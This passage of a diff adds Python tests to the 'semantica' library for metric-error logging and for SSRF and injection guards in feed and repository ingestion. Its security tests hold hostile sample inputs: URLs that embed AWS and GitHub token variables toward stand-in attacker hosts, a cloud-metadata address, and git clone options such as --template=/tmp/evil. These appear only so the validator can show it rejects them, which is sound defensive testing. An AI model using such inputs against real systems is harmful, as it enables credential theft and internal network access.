assert any("Semantic similarity" in rec.message for rec in caplog.records)
|
||||
|
||||
|
||||
def test_betweenness_logs_warning_on_exception(exporter, caplog):
|
||||
with caplog.at_level(logging.WARNING, logger="semantica.export.distance_exporter"):
|
||||
result = exporter._betweenness({})
|
||||
value, error = result
|
||||
assert value == {}
|
||||
assert error == "betweenness"
|
||||
assert any("Betweenness" in rec.message for rec in caplog.records)
|
||||
|
||||
|
||||
def test_compute_pairs_still_produces_none_sentinels_when_metrics_raise(exporter, caplog):
|
||||
"""The exported row shape is unchanged: a raised exception still yields
|
||||
None/"distant", it is just no longer silent."""
|
||||
with caplog.at_level(logging.WARNING, logger="semantica.export.distance_exporter"):
|
||||
rows = exporter.compute_pairs()
|
||||
assert len(rows) == 2
|
||||
for row in rows:
|
||||
assert row["hop_count"] is None
|
||||
assert row["weighted_distance"] is None
|
||||
assert row["semantic_similarity"] is None
|
||||
assert row["distance_band"] == "distant"
|
||||
assert len(caplog.records) >= 4
|
||||
|
||||
|
||||
def test_hop_distance_no_warning_when_kg_unavailable(caplog):
|
||||
"""A legitimate 'no KG backend' None (the pre-existing early-return path)
|
||||
must not be confused with an exception; nothing to log there."""
|
||||
exp = DistanceExporter(_Graph())
|
||||
exp._path_finder = None
|
||||
with caplog.at_level(logging.WARNING, logger="semantica.export.distance_exporter"):
|
||||
result = exp._hop_distance({}, "a", "b")
|
||||
value, error = result
|
||||
assert value is None
|
||||
assert error is None
|
||||
assert len(caplog.records) == 0
|
||||
@@ -0,0 +1,132 @@
|
||||
"""Tests for DistanceExporter metric_errors column.
|
||||
|
||||
Verifies that when ``include=["metric_errors"]`` is passed to
|
||||
``compute_pairs()``, the exported rows contain a ``metric_errors`` field
|
||||
that distinguishes computation failures from legitimate None results.
|
||||
"""
|
||||
|
||||
import logging
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from semantica.export.distance_exporter import DistanceExporter
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def mock_graph():
|
||||
"""Minimal graph mock with two nodes."""
|
||||
graph = MagicMock()
|
||||
node_a = MagicMock(node_id="a", node_type="entity", content="A", properties={})
|
||||
node_b = MagicMock(node_id="b", node_type="entity", content="B", properties={})
|
||||
graph.nodes = {"a": node_a, "b": node_b}
|
||||
graph.edges = []
|
||||
return graph
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def exporter(mock_graph):
|
||||
"""DistanceExporter with mocked KG components."""
|
||||
exp = DistanceExporter(mock_graph)
|
||||
exp._path_finder = MagicMock()
|
||||
exp._similarity = MagicMock()
|
||||
exp._centrality = MagicMock()
|
||||
return exp
|
||||
|
||||
|
||||
class TestMetricErrorsColumn:
|
||||
"""Tests for the opt-in metric_errors export column."""
|
||||
|
||||
def test_metric_errors_empty_on_success(self, exporter):
|
||||
"""When all metrics succeed, metric_errors is an empty string."""
|
||||
exporter._path_finder.bfs_shortest_path.return_value = {"path": ["a", "x", "b"]}
|
||||
exporter._path_finder.dijkstra_shortest_path.return_value = {"total_weight": 2.5, "path": ["a", "b"]}
|
||||
exporter._similarity.cosine_similarity.return_value = 0.87
|
||||
|
||||
rows = exporter.compute_pairs(include=["hop_count", "weighted_distance", "semantic_similarity", "metric_errors"])
|
||||
|
||||
assert len(rows) == 2 # a->b and b->a
|
||||
for row in rows:
|
||||
assert "metric_errors" in row
|
||||
assert row["metric_errors"] == ""
|
||||
|
||||
def test_metric_errors_records_single_failure(self, exporter):
|
||||
"""When one metric fails, its name appears in metric_errors."""
|
||||
exporter._path_finder.bfs_shortest_path.return_value = {"path": ["a", "b"]}
|
||||
exporter._path_finder.dijkstra_shortest_path.side_effect = RuntimeError("negative cycle")
|
||||
exporter._similarity.cosine_similarity.return_value = 0.5
|
||||
|
||||
rows = exporter.compute_pairs(include=["hop_count", "weighted_distance", "semantic_similarity", "metric_errors"])
|
||||
|
||||
for row in rows:
|
||||
assert row["metric_errors"] == "weighted_distance"
|
||||
assert row["hop_count"] == 1 # still computed
|
||||
assert row["weighted_distance"] is None # failed
|
||||
assert row["semantic_similarity"] == 0.5 # still computed
|
||||
|
||||
def test_metric_errors_records_multiple_failures(self, exporter):
|
||||
"""When multiple metrics fail, all names appear comma-separated."""
|
||||
exporter._path_finder.bfs_shortest_path.side_effect = RuntimeError("fail")
|
||||
exporter._path_finder.dijkstra_shortest_path.side_effect = RuntimeError("fail")
|
||||
exporter._similarity.cosine_similarity.side_effect = TypeError("fail")
|
||||
exporter._centrality.calculate_betweenness_centrality.side_effect = RuntimeError("fail")
|
||||
|
||||
rows = exporter.compute_pairs(include=[
|
||||
"hop_count", "weighted_distance", "semantic_similarity",
|
||||
"source_betweenness", "metric_errors",
|
||||
])
|
||||
|
||||
for row in rows:
|
||||
errors = row["metric_errors"].split(",")
|
||||
assert "hop_count" in errors
|
||||
assert "weighted_distance" in errors
|
||||
assert "semantic_similarity" in errors
|
||||
assert "betweenness" in errors
|
||||
assert row["hop_count"] is None
|
||||
assert row["weighted_distance"] is None
|
||||
assert row["semantic_similarity"] is None
|
||||
|
||||
def test_metric_errors_absent_when_not_requested(self, exporter):
|
||||
"""When metric_errors is not in include, it doesn't appear in rows."""
|
||||
exporter._path_finder.bfs_shortest_path.side_effect = RuntimeError("fail")
|
||||
exporter._path_finder.dijkstra_shortest_path.return_value = {"total_weight": 1.0, "path": ["a", "b"]}
|
||||
exporter._similarity.cosine_similarity.return_value = 0.9
|
||||
|
||||
rows = exporter.compute_pairs(include=["hop_count", "weighted_distance", "semantic_similarity"])
|
||||
|
||||
for row in rows:
|
||||
assert "metric_errors" not in row
|
||||
|
||||
def test_metric_errors_distinguishes_no_path_from_error(self, exporter):
|
||||
"""Core distinction: None from 'no path' has empty error; None from exception has the metric name."""
|
||||
# bfs returns empty path (legitimate "no path") — NOT an error
|
||||
exporter._path_finder.bfs_shortest_path.return_value = {"path": []}
|
||||
# dijkstra raises (computation error)
|
||||
exporter._path_finder.dijkstra_shortest_path.side_effect = ValueError("bad weight")
|
||||
exporter._similarity.cosine_similarity.return_value = 0.3
|
||||
|
||||
rows = exporter.compute_pairs(include=["hop_count", "weighted_distance", "semantic_similarity", "metric_errors"])
|
||||
|
||||
for row in rows:
|
||||
# Both are None, but only weighted_distance is an error
|
||||
assert row["hop_count"] is None
|
||||
assert row["weighted_distance"] is None
|
||||
assert row["metric_errors"] == "weighted_distance"
|
||||
|
||||
def test_default_columns_unchanged_without_metric_errors(self, exporter):
|
||||
"""Default column set (no metric_errors) produces the same schema as before."""
|
||||
exporter._path_finder.bfs_shortest_path.return_value = {"path": ["a", "b"]}
|
||||
exporter._path_finder.dijkstra_shortest_path.return_value = {"total_weight": 1.0, "path": ["a", "b"]}
|
||||
exporter._similarity.cosine_similarity.return_value = 0.5
|
||||
exporter._centrality.calculate_betweenness_centrality.return_value = {"betweenness": {"a": 0.5, "b": 0.3}}
|
||||
|
||||
rows = exporter.compute_pairs()
|
||||
|
||||
assert len(rows) == 2
|
||||
expected_keys = {
|
||||
"source_id", "source_type", "target_id", "target_type",
|
||||
"hop_count", "weighted_distance", "semantic_similarity",
|
||||
"distance_band", "source_betweenness", "target_betweenness",
|
||||
}
|
||||
assert set(rows[0].keys()) == expected_keys
|
||||
assert "metric_errors" not in rows[0]
|
||||
@@ -85,11 +85,15 @@ def test_ingest_feed_errors() -> None:
|
||||
ingestor.ingest_feed("not_a_url")
|
||||
|
||||
with patch(
|
||||
"requests.get",
|
||||
side_effect=requests.exceptions.RequestException("Fail"),
|
||||
"semantica.ingest.ssrf.socket.getaddrinfo",
|
||||
return_value=[(2, 1, 6, "", ("93.184.216.34", 0))],
|
||||
):
|
||||
with pytest.raises(ProcessingError):
|
||||
ingestor.ingest_feed("http://valid.com")
|
||||
with patch(
|
||||
"requests.request",
|
||||
side_effect=requests.exceptions.RequestException("Fail"),
|
||||
):
|
||||
with pytest.raises(ProcessingError):
|
||||
ingestor.ingest_feed("http://valid.com")
|
||||
|
||||
|
||||
def test_monitor_loop_lifecycle() -> None:
|
||||
@@ -204,8 +208,22 @@ def test_discover_feeds_empty() -> None:
|
||||
ingestor = FeedIngestor()
|
||||
html = "<html><body>No feeds here</body></html>"
|
||||
|
||||
with patch("requests.get", return_value=MagicMock(text=html)):
|
||||
feeds = ingestor.discover_feeds("http://site.com")
|
||||
mock_response = MagicMock()
|
||||
mock_response.text = html
|
||||
mock_response.status_code = 200
|
||||
mock_response.headers = {}
|
||||
|
||||
def fake_request(method, url, **kwargs):
|
||||
if url == "http://site.com":
|
||||
return mock_response
|
||||
raise requests.exceptions.RequestException("not found")
|
||||
|
||||
with patch(
|
||||
"semantica.ingest.ssrf.socket.getaddrinfo",
|
||||
return_value=[(2, 1, 6, "", ("93.184.216.34", 0))],
|
||||
):
|
||||
with patch("requests.request", side_effect=fake_request):
|
||||
feeds = ingestor.discover_feeds("http://site.com")
|
||||
|
||||
assert len(feeds) == 0
|
||||
|
||||
@@ -227,15 +245,16 @@ def test_discover_feeds_found() -> None:
|
||||
mock_response = MagicMock()
|
||||
mock_response.text = html
|
||||
mock_response.status_code = 200
|
||||
mock_response.headers = {"Content-Type": "application/rss+xml"}
|
||||
|
||||
with patch("requests.get", return_value=mock_response):
|
||||
with patch("requests.head") as mock_head:
|
||||
# Mock HEAD request headers for the verification step
|
||||
mock_head.return_value.headers = {
|
||||
"Content-Type": "application/rss+xml",
|
||||
}
|
||||
mock_head.return_value.status_code = 200
|
||||
def fake_request(method, url, **kwargs):
|
||||
return mock_response
|
||||
|
||||
with patch(
|
||||
"semantica.ingest.ssrf.socket.getaddrinfo",
|
||||
return_value=[(2, 1, 6, "", ("93.184.216.34", 0))],
|
||||
):
|
||||
with patch("requests.request", side_effect=fake_request):
|
||||
feeds = ingestor.discover_feeds("http://site.com")
|
||||
|
||||
assert "http://site.com/rss.xml" in feeds
|
||||
|
||||
@@ -0,0 +1,555 @@
|
||||
"""Security-focused tests for RepoIngestor (issue #868)."""
|
||||
|
||||
import socket
|
||||
import threading
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
from semantica.ingest import repo_ingestor as repo_ingestor_mod
|
||||
from semantica.ingest.repo_ingestor import (
|
||||
ALLOWED_CLONE_OPTIONS,
|
||||
RepoIngestor,
|
||||
)
|
||||
from semantica.utils.exceptions import ValidationError
|
||||
|
||||
|
||||
def _fake_addrinfo(*addrs: str):
|
||||
"""Build a getaddrinfo-shaped result list for the given IP strings."""
|
||||
results = []
|
||||
for addr in addrs:
|
||||
family = socket.AF_INET6 if ":" in addr else socket.AF_INET
|
||||
results.append(
|
||||
(family, socket.SOCK_STREAM, 0, "", (addr, 0))
|
||||
)
|
||||
return results
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _clear_repo_host_resolve_cache():
|
||||
repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE.clear()
|
||||
yield
|
||||
repo_ingestor_mod._REPO_HOST_RESOLVE_CACHE.clear()
|
||||
|
||||
|
||||
class TestRepoUrlValidation:
|
||||
def test_accepts_https_github_url(self):
|
||||
with patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo",
|
||||
return_value=_fake_addrinfo("140.82.112.3"),
|
||||
):
|
||||
RepoIngestor._validate_repo_url("https://github.com/user/repo.git")
|
||||
|
||||
def test_accepts_ssh_scheme(self):
|
||||
with patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo",
|
||||
return_value=_fake_addrinfo("140.82.112.3"),
|
||||
):
|
||||
RepoIngestor._validate_repo_url("ssh://git@github.com/user/repo.git")
|
||||
|
||||
def test_accepts_scp_like_ssh_remote(self):
|
||||
with patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo",
|
||||
return_value=_fake_addrinfo("140.82.112.3"),
|
||||
):
|
||||
RepoIngestor._validate_repo_url("git@github.com:user/repo.git")
|
||||
RepoIngestor._validate_repo_url(
|
||||
"deploy@gitlab.example.com:team/app.git"
|
||||
)
|
||||
|
||||
def test_normalizes_scp_like_to_ssh_url(self):
|
||||
assert (
|
||||
RepoIngestor._normalize_repo_url("git@github.com:user/repo.git")
|
||||
== "ssh://git@github.com/user/repo.git"
|
||||
)
|
||||
assert (
|
||||
RepoIngestor._normalize_repo_url(
|
||||
"https://github.com/user/repo.git"
|
||||
)
|
||||
== "https://github.com/user/repo.git"
|
||||
)
|
||||
|
||||
def test_rejects_empty(self):
|
||||
with pytest.raises(ValidationError, match="non-empty"):
|
||||
RepoIngestor._validate_repo_url("")
|
||||
|
||||
def test_rejects_file_scheme(self):
|
||||
with pytest.raises(ValidationError, match="Unsupported repository URL scheme"):
|
||||
RepoIngestor._validate_repo_url("file:///tmp/repo.git")
|
||||
|
||||
def test_rejects_env_var_tokens(self):
|
||||
with pytest.raises(ValidationError, match="environment variable"):
|
||||
RepoIngestor._validate_repo_url(
|
||||
"https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git"
|
||||
)
|
||||
with pytest.raises(ValidationError, match="environment variable"):
|
||||
RepoIngestor._validate_repo_url(
|
||||
"https://$GITHUB_TOKEN@attacker.example/repo.git"
|
||||
)
|
||||
with pytest.raises(ValidationError, match="environment variable"):
|
||||
RepoIngestor._validate_repo_url(
|
||||
"git@github.com:org/${AWS_SECRET_ACCESS_KEY}.git"
|
||||
)
|
||||
|
||||
def test_accepts_literal_dollar_without_env_var_token(self):
|
||||
with patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo",
|
||||
return_value=_fake_addrinfo("140.82.112.3"),
|
||||
):
|
||||
RepoIngestor._validate_repo_url("https://example.com/repo$1.git")
|
||||
RepoIngestor._validate_repo_url("git@example.com:team/repo$1.git")
|
||||
|
||||
def test_rejects_localhost_and_loopback(self):
|
||||
with pytest.raises(ValidationError, match="not allowed|blocked"):
|
||||
RepoIngestor._validate_repo_url("https://localhost/repo.git")
|
||||
with pytest.raises(ValidationError, match="blocked"):
|
||||
RepoIngestor._validate_repo_url("https://127.0.0.1/repo.git")
|
||||
with pytest.raises(ValidationError, match="not allowed|blocked"):
|
||||
RepoIngestor._validate_repo_url("git@localhost:repo.git")
|
||||
with pytest.raises(ValidationError, match="blocked"):
|
||||
RepoIngestor._validate_repo_url("git@127.0.0.1:repo.git")
|
||||
|
||||
def test_rejects_private_and_metadata_ips(self):
|
||||
for url in (
|
||||
"https://10.0.0.1/repo.git",
|
||||
"https://192.168.1.1/repo.git",
|
||||
"https://172.16.5.5/repo.git",
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
"git@10.0.0.1:repo.git",
|
||||
"git@169.254.169.254:repo.git",
|
||||
):
|
||||
with pytest.raises(ValidationError, match="blocked"):
|
||||
RepoIngestor._validate_repo_url(url)
|
||||
|
||||
def test_rejects_hostname_resolving_to_private_ip(self):
|
||||
with patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo",
|
||||
return_value=_fake_addrinfo("10.0.0.5"),
|
||||
):
|
||||
with pytest.raises(ValidationError, match="blocked"):
|
||||
RepoIngestor._validate_repo_url(
|
||||
"https://internal.example/repo.git"
|
||||
)
|
||||
|
||||
def test_rejects_hostname_if_any_resolved_ip_is_blocked(self):
|
||||
with patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo",
|
||||
return_value=_fake_addrinfo("8.8.8.8", "127.0.0.1"),
|
||||
):
|
||||
with pytest.raises(ValidationError, match="blocked"):
|
||||
RepoIngestor._validate_repo_url(
|
||||
"https://mixed.example/repo.git"
|
||||
)
|
||||
|
||||
def test_rejects_unresolvable_hostname(self):
|
||||
with patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo",
|
||||
side_effect=socket.gaierror(8, "Name or service not known"),
|
||||
):
|
||||
with pytest.raises(ValidationError, match="Cannot resolve"):
|
||||
RepoIngestor._validate_repo_url(
|
||||
"https://does-not-resolve.invalid/repo.git"
|
||||
)
|
||||
|
||||
def test_hostname_resolution_is_cached(self):
|
||||
with patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo",
|
||||
return_value=_fake_addrinfo("1.2.3.4"),
|
||||
) as mock_gai:
|
||||
RepoIngestor._validate_repo_url("https://cached.example/repo.git")
|
||||
RepoIngestor._validate_repo_url("https://cached.example/other.git")
|
||||
assert mock_gai.call_count == 1
|
||||
|
||||
def test_rejects_malformed_netloc_as_validation_error(self):
|
||||
with pytest.raises(ValidationError, match="Invalid repository URL"):
|
||||
RepoIngestor._validate_repo_url("http://[::1")
|
||||
with pytest.raises(ValidationError, match="Invalid repository URL"):
|
||||
RepoIngestor._validate_repo_url("http://[")
|
||||
with pytest.raises(ValidationError, match="Invalid repository URL"):
|
||||
RepoIngestor._validate_repo_url("https://user@[::1/repo.git")
|
||||
|
||||
def test_malformed_url_surfaces_as_validation_error_from_ingest(self):
|
||||
with patch("semantica.ingest.repo_ingestor.git.Repo") as MockRepo, patch(
|
||||
"semantica.ingest.repo_ingestor.get_progress_tracker"
|
||||
) as mock_get_tracker:
|
||||
mock_get_tracker.return_value = MagicMock()
|
||||
ingestor = RepoIngestor()
|
||||
with pytest.raises(ValidationError, match="Invalid repository URL"):
|
||||
ingestor.ingest_repository("http://[::1")
|
||||
MockRepo.clone_from.assert_not_called()
|
||||
|
||||
|
||||
class TestCloneOptionAllowlist:
|
||||
def test_allows_safe_options(self):
|
||||
filtered = RepoIngestor._filter_clone_options(
|
||||
{"depth": 1, "branch": "main", "single_branch": True, "no_tags": True}
|
||||
)
|
||||
assert filtered == {
|
||||
"depth": 1,
|
||||
"branch": "main",
|
||||
"single_branch": True,
|
||||
"no_tags": True,
|
||||
}
|
||||
|
||||
def test_strips_processing_options_without_error(self):
|
||||
filtered = RepoIngestor._filter_clone_options(
|
||||
{
|
||||
"depth": 1,
|
||||
"include_history": True,
|
||||
"include_extensions": ["py"],
|
||||
"file_filters": {},
|
||||
"commit_filters": {},
|
||||
"max_depth": 5,
|
||||
}
|
||||
)
|
||||
assert filtered == {"depth": 1}
|
||||
|
||||
def test_rejects_multi_options(self):
|
||||
with pytest.raises(ValidationError, match="not permitted"):
|
||||
RepoIngestor._filter_clone_options(
|
||||
{"multi_options": ["--template=/tmp/evil"]}
|
||||
)
|
||||
|
||||
def test_rejects_upload_pack_and_template(self):
|
||||
for key in ("upload_pack", "template", "config", "env"):
|
||||
with pytest.raises(ValidationError, match="not permitted"):
|
||||
RepoIngestor._filter_clone_options({key: "x"})
|
||||
|
||||
def test_allowlist_matches_documented_safe_set(self):
|
||||
assert ALLOWED_CLONE_OPTIONS == {
|
||||
"depth",
|
||||
"branch",
|
||||
"single_branch",
|
||||
"no_tags",
|
||||
}
|
||||
|
||||
|
||||
class TestIngestRepositoryGuards:
|
||||
def test_unsafe_url_never_reaches_clone_from(self):
|
||||
with patch("semantica.ingest.repo_ingestor.git.Repo") as MockRepo, patch(
|
||||
"semantica.ingest.repo_ingestor.get_progress_tracker"
|
||||
) as mock_get_tracker:
|
||||
mock_get_tracker.return_value = MagicMock()
|
||||
ingestor = RepoIngestor()
|
||||
with pytest.raises(ValidationError, match="environment variable"):
|
||||
ingestor.ingest_repository(
|
||||
"https://evil.example/${AWS_SECRET_ACCESS_KEY}/r.git"
|
||||
)
|
||||
MockRepo.clone_from.assert_not_called()
|
||||
|
||||
def test_unsafe_clone_option_never_reaches_clone_from(self):
|
||||
with patch("semantica.ingest.repo_ingestor.git.Repo") as MockRepo, patch(
|
||||
"semantica.ingest.repo_ingestor.get_progress_tracker"
|
||||
) as mock_get_tracker, patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo",
|
||||
return_value=_fake_addrinfo("140.82.112.3"),
|
||||
):
|
||||
mock_get_tracker.return_value = MagicMock()
|
||||
ingestor = RepoIngestor()
|
||||
with pytest.raises(ValidationError, match="not permitted"):
|
||||
ingestor.ingest_repository(
|
||||
"https://github.com/user/repo.git",
|
||||
multi_options=["--template=/tmp/evil"],
|
||||
)
|
||||
MockRepo.clone_from.assert_not_called()
|
||||
|
||||
def test_hostname_resolving_private_never_reaches_clone_from(self):
|
||||
with patch("semantica.ingest.repo_ingestor.git.Repo") as MockRepo, patch(
|
||||
"semantica.ingest.repo_ingestor.get_progress_tracker"
|
||||
) as mock_get_tracker, patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo",
|
||||
return_value=_fake_addrinfo("192.168.1.50"),
|
||||
):
|
||||
mock_get_tracker.return_value = MagicMock()
|
||||
ingestor = RepoIngestor()
|
||||
with pytest.raises(ValidationError, match="blocked"):
|
||||
ingestor.ingest_repository(
|
||||
"https://ssrf.example/internal/repo.git"
|
||||
)
|
||||
MockRepo.clone_from.assert_not_called()
|
||||
|
||||
def test_safe_options_forwarded_to_clone_from(self):
|
||||
with patch("semantica.ingest.repo_ingestor.git.Repo") as MockRepo, patch(
|
||||
"semantica.ingest.repo_ingestor.tempfile.mkdtemp",
|
||||
return_value="/tmp/fake-repo",
|
||||
), patch("semantica.ingest.repo_ingestor.shutil.rmtree"), patch(
|
||||
"semantica.ingest.repo_ingestor.get_progress_tracker"
|
||||
) as mock_get_tracker, patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo",
|
||||
return_value=_fake_addrinfo("140.82.112.3"),
|
||||
), patch.object(
|
||||
RepoIngestor, "extract_code_files", return_value=[]
|
||||
), patch.object(
|
||||
RepoIngestor, "get_repository_info", return_value={"url": "x"}
|
||||
), patch.object(RepoIngestor, "analyze_commits", return_value=[]):
|
||||
mock_get_tracker.return_value = MagicMock()
|
||||
mock_repo = MagicMock()
|
||||
MockRepo.clone_from.return_value = mock_repo
|
||||
MockRepo.return_value = mock_repo
|
||||
|
||||
ingestor = RepoIngestor()
|
||||
with patch.object(
|
||||
ingestor.analyzer, "analyze_structure", return_value={}
|
||||
), patch.object(
|
||||
ingestor.analyzer, "calculate_metrics", return_value={}
|
||||
):
|
||||
ingestor.ingest_repository(
|
||||
"https://github.com/user/repo.git",
|
||||
depth=1,
|
||||
branch="main",
|
||||
include_history=False,
|
||||
)
|
||||
|
||||
kwargs = MockRepo.clone_from.call_args.kwargs
|
||||
assert kwargs.get("depth") == 1
|
||||
assert kwargs.get("branch") == "main"
|
||||
assert "include_history" not in kwargs
|
||||
assert "multi_options" not in kwargs
|
||||
|
||||
def test_scp_like_remote_normalized_before_clone(self):
|
||||
with patch("semantica.ingest.repo_ingestor.git.Repo") as MockRepo, patch(
|
||||
"semantica.ingest.repo_ingestor.tempfile.mkdtemp",
|
||||
return_value="/tmp/fake-repo",
|
||||
), patch("semantica.ingest.repo_ingestor.shutil.rmtree"), patch(
|
||||
"semantica.ingest.repo_ingestor.get_progress_tracker"
|
||||
) as mock_get_tracker, patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo",
|
||||
return_value=_fake_addrinfo("140.82.112.3"),
|
||||
), patch.object(
|
||||
RepoIngestor, "extract_code_files", return_value=[]
|
||||
), patch.object(
|
||||
RepoIngestor, "get_repository_info", return_value={"url": "x"}
|
||||
), patch.object(RepoIngestor, "analyze_commits", return_value=[]):
|
||||
mock_get_tracker.return_value = MagicMock()
|
||||
mock_repo = MagicMock()
|
||||
MockRepo.clone_from.return_value = mock_repo
|
||||
MockRepo.return_value = mock_repo
|
||||
|
||||
ingestor = RepoIngestor()
|
||||
with patch.object(
|
||||
ingestor.analyzer, "analyze_structure", return_value={}
|
||||
), patch.object(
|
||||
ingestor.analyzer, "calculate_metrics", return_value={}
|
||||
):
|
||||
ingestor.ingest_repository("git@github.com:user/repo.git")
|
||||
|
||||
assert MockRepo.clone_from.call_args.args[0] == (
|
||||
"ssh://git@github.com/user/repo.git"
|
||||
)
|
||||
|
||||
class TestIsReservedNAT64Regression:
|
||||
"""Regression tests for the is_reserved / NAT64 false-positive fix.
|
||||
|
||||
Python's ipaddress.is_reserved marks 64:ff9b::/96 (NAT64 Well-Known
|
||||
Prefix, RFC 6052) as reserved=True, which caused github.com to be
|
||||
falsely blocked on IPv6-only / dual-stack networks that use NAT64.
|
||||
"""
|
||||
|
||||
def test_nat64_prefix_not_blocked(self):
|
||||
"""64:ff9b::/96 addresses must not be blocked by _is_blocked_ip."""
|
||||
import ipaddress
|
||||
|
||||
# Typical NAT64 translation of 140.82.112.3 (github.com)
|
||||
addr = ipaddress.ip_address("64:ff9b::8c52:7003")
|
||||
assert not RepoIngestor._is_blocked_ip(addr), (
|
||||
"NAT64 WKP address should not be blocked; "
|
||||
"it is a legitimate public IPv6 address on NAT64 networks."
|
||||
)
|
||||
|
||||
def test_nat64_local_prefix_not_blocked(self):
|
||||
"""64:ff9b:1::/48 (RFC 8215 local NAT64) is private by Python 3.12
|
||||
definition and IS correctly blocked — it's a locally-assigned range,
|
||||
not globally routable.
|
||||
"""
|
||||
import ipaddress
|
||||
|
||||
addr = ipaddress.ip_address("64:ff9b:1::1")
|
||||
# is_private=True in Python 3.12 — legitimately blocked
|
||||
assert RepoIngestor._is_blocked_ip(addr)
|
||||
|
||||
def test_private_ipv6_still_blocked(self):
|
||||
"""ULA (fc00::/7) must still be blocked."""
|
||||
import ipaddress
|
||||
|
||||
assert RepoIngestor._is_blocked_ip(ipaddress.ip_address("fc00::1"))
|
||||
assert RepoIngestor._is_blocked_ip(ipaddress.ip_address("fd12:3456::1"))
|
||||
|
||||
def test_ipv6_loopback_still_blocked(self):
|
||||
import ipaddress
|
||||
|
||||
assert RepoIngestor._is_blocked_ip(ipaddress.ip_address("::1"))
|
||||
|
||||
def test_ipv6_link_local_still_blocked(self):
|
||||
import ipaddress
|
||||
|
||||
assert RepoIngestor._is_blocked_ip(ipaddress.ip_address("fe80::1"))
|
||||
|
||||
def test_documentation_prefix_blocked(self):
|
||||
"""2001:db8::/32 is documentation-only and classified as
|
||||
is_private=True in Python 3.12. It is correctly blocked.
|
||||
"""
|
||||
import ipaddress
|
||||
|
||||
addr = ipaddress.ip_address("2001:db8::1")
|
||||
assert RepoIngestor._is_blocked_ip(addr)
|
||||
|
||||
def test_public_ipv4_not_blocked(self):
|
||||
import ipaddress
|
||||
|
||||
assert not RepoIngestor._is_blocked_ip(ipaddress.ip_address("140.82.112.3"))
|
||||
|
||||
def test_public_ipv6_not_blocked(self):
|
||||
import ipaddress
|
||||
|
||||
assert not RepoIngestor._is_blocked_ip(
|
||||
ipaddress.ip_address("2001:4860:4860::8888")
|
||||
)
|
||||
|
||||
def test_host_resolving_to_nat64_address_is_allowed(self):
|
||||
"""A hostname that resolves to a NAT64 address (plus a public IPv4)
|
||||
must not be blocked — this was the real-world failure mode.
|
||||
"""
|
||||
# Simulate github.com on a NAT64 network
|
||||
with patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo",
|
||||
return_value=_fake_addrinfo("64:ff9b::8c52:7003", "140.82.112.3"),
|
||||
):
|
||||
# Should not raise
|
||||
RepoIngestor._validate_repo_url("https://github.com/user/repo.git")
|
||||
|
||||
def test_host_resolving_only_to_nat64_is_allowed(self):
|
||||
"""Even if the only resolved address is a NAT64 address, it is allowed
|
||||
because it is a valid public address.
|
||||
"""
|
||||
with patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo",
|
||||
return_value=_fake_addrinfo("64:ff9b::8c52:7003"),
|
||||
):
|
||||
RepoIngestor._validate_repo_url("https://github.com/user/repo.git")
|
||||
|
||||
|
||||
class TestLocalPathSupport:
|
||||
"""Regression tests for local repository path backward compatibility."""
|
||||
|
||||
def test_is_local_repo_path_absolute(self, tmp_path):
|
||||
"""Absolute paths are recognised as local."""
|
||||
assert RepoIngestor._is_local_repo_path(str(tmp_path))
|
||||
|
||||
def test_is_local_repo_path_relative(self):
|
||||
"""./… and ../… are recognised as local."""
|
||||
assert RepoIngestor._is_local_repo_path("./repo")
|
||||
assert RepoIngestor._is_local_repo_path("../sibling-repo")
|
||||
|
||||
def test_is_local_repo_path_not_remote(self):
|
||||
"""Remote URLs are not local."""
|
||||
assert not RepoIngestor._is_local_repo_path("https://github.com/u/r.git")
|
||||
assert not RepoIngestor._is_local_repo_path("git@github.com:u/r.git")
|
||||
assert not RepoIngestor._is_local_repo_path("ssh://git@github.com/r.git")
|
||||
|
||||
def test_validate_repo_url_accepts_absolute_local_path(self, tmp_path):
|
||||
"""_validate_repo_url must not raise for an absolute local path."""
|
||||
RepoIngestor._validate_repo_url(str(tmp_path))
|
||||
|
||||
def test_validate_repo_url_accepts_relative_local_path(self):
|
||||
"""_validate_repo_url must not raise for ./… paths."""
|
||||
RepoIngestor._validate_repo_url("./repo")
|
||||
|
||||
def test_validate_repo_url_env_var_still_blocked_in_local_path(self):
|
||||
"""Env-var tokens in local paths are still rejected."""
|
||||
with pytest.raises(ValidationError, match="environment variable"):
|
||||
RepoIngestor._validate_repo_url("./$SECRET_KEY/repo")
|
||||
|
||||
def test_local_path_never_reaches_dns_resolution(self, tmp_path):
|
||||
"""Local paths must not trigger DNS lookups."""
|
||||
with patch(
|
||||
"semantica.ingest.repo_ingestor.socket.getaddrinfo"
|
||||
) as mock_gai:
|
||||
RepoIngestor._validate_repo_url(str(tmp_path))
|
||||
mock_gai.assert_not_called()
|
||||
|
||||
def test_ingest_repository_local_path_passes_validation(self, tmp_path):
|
||||
"""ingest_repository with a local path must not fail at URL validation."""
|
||||
with patch("semantica.ingest.repo_ingestor.git.Repo") as MockRepo, patch(
|
||||
"semantica.ingest.repo_ingestor.get_progress_tracker"
|
||||
) as mock_get_tracker:
|
||||
mock_get_tracker.return_value = MagicMock()
|
||||
ingestor = RepoIngestor()
|
||||
# Expect clone to fail (temp_dir logic), but NOT a ValidationError
|
||||
try:
|
||||
ingestor.ingest_repository(str(tmp_path))
|
||||
except Exception as exc:
|
||||
